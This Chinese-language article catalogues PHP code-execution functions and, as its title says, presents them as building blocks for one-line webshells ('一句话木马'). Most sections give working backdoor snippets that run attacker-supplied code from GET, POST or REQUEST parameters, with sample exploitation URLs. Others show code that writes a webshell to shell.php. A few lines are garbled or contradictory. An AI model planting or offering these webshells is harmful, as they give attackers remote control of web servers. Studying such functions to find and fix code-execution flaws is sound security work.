PHP代码执⾏函数总结(可以⽤于制作⼀句话⽊马)
PHP中可以执⾏代码的函数,常⽤于编写⼀句话⽊马,可能导致代码执⾏漏洞,这⾥对代码执⾏函数做⼀些归纳。
  常见代码执⾏函数,如
    eval()、assert()、preg_replace()、create_function()
    array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()
    ⽂件操作函数、动态函数($a($b))
1、eval()
  eval() 函数把字符串按照 PHP 代码来计算,如常见的⼀句话后门程序:<?php eval($_POST[cmd])?>
2、assert()
  与eval类似,字符串被 assert() 当做 PHP 代码来执⾏,如:
⽰例代码:
<?php
//?cmd=phpinfo()
assert($_REQUEST[cmd]);
>
3、preg_replace()      (php5.5以后的版本废除了/e)
  mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
  搜索subject中匹配pattern的部分, 以replacement进⾏替换。
  preg_replace()函数原本是执⾏⼀个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码
<?php
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
>
4、create_function()
  create_function主要⽤来创建匿名函数,如果没有严格对参数传递进⾏过滤,攻击者可以构造特殊字符串传递给create_function()执⾏任意命令。php如何运行代码
代码⽰例:
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
>
参考链接:
代码安全:PHP create_function()注⼊命令执⾏漏洞
5、array_map()
  array_map() 函数将⽤户⾃定义函数作⽤到数组中的每个值上,并返回⽤户⾃定义函数作⽤后的带有新值的数组。 回调函数接受的参数数⽬应该和传递给 array_map() 函数的数组数⽬⼀致。
代码⽰例:
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
>
6、call_user_func()/call_user_func_array ()
call_user_func — 把第⼀个参数作为回调函数调⽤,其余参数是回调函数的参数。
call_user_func_array — 调⽤回调函数,并把⼀个数组参数作为回调函数的参数
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
>
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
>
7、array_filter()
rray array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
  依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
>
8、usort()、uasort()
  usort() 通过⽤户⾃定义的⽐较函数对数组进⾏排序。
  uasort() 使⽤⽤户⾃定义的⽐较函数对数组中的值进⾏排序并保持索引关联 。
php环境>=5.6才能⽤
<?php usort(...$_GET);?>
利⽤⽅式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
php环境>=<5.6才能⽤
<?php usort($_GET,'asse'.'rt');?>
利⽤⽅式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();
9、⽂件操作函数
  file_put_contents() 函数把⼀个字符串写⼊⽂件中。
  fputs() 函数写⼊⽂件
代码⽰例:
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
>
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
>
10、动态函数
  PHP函数直接由字符串拼接
<?php
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
>

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。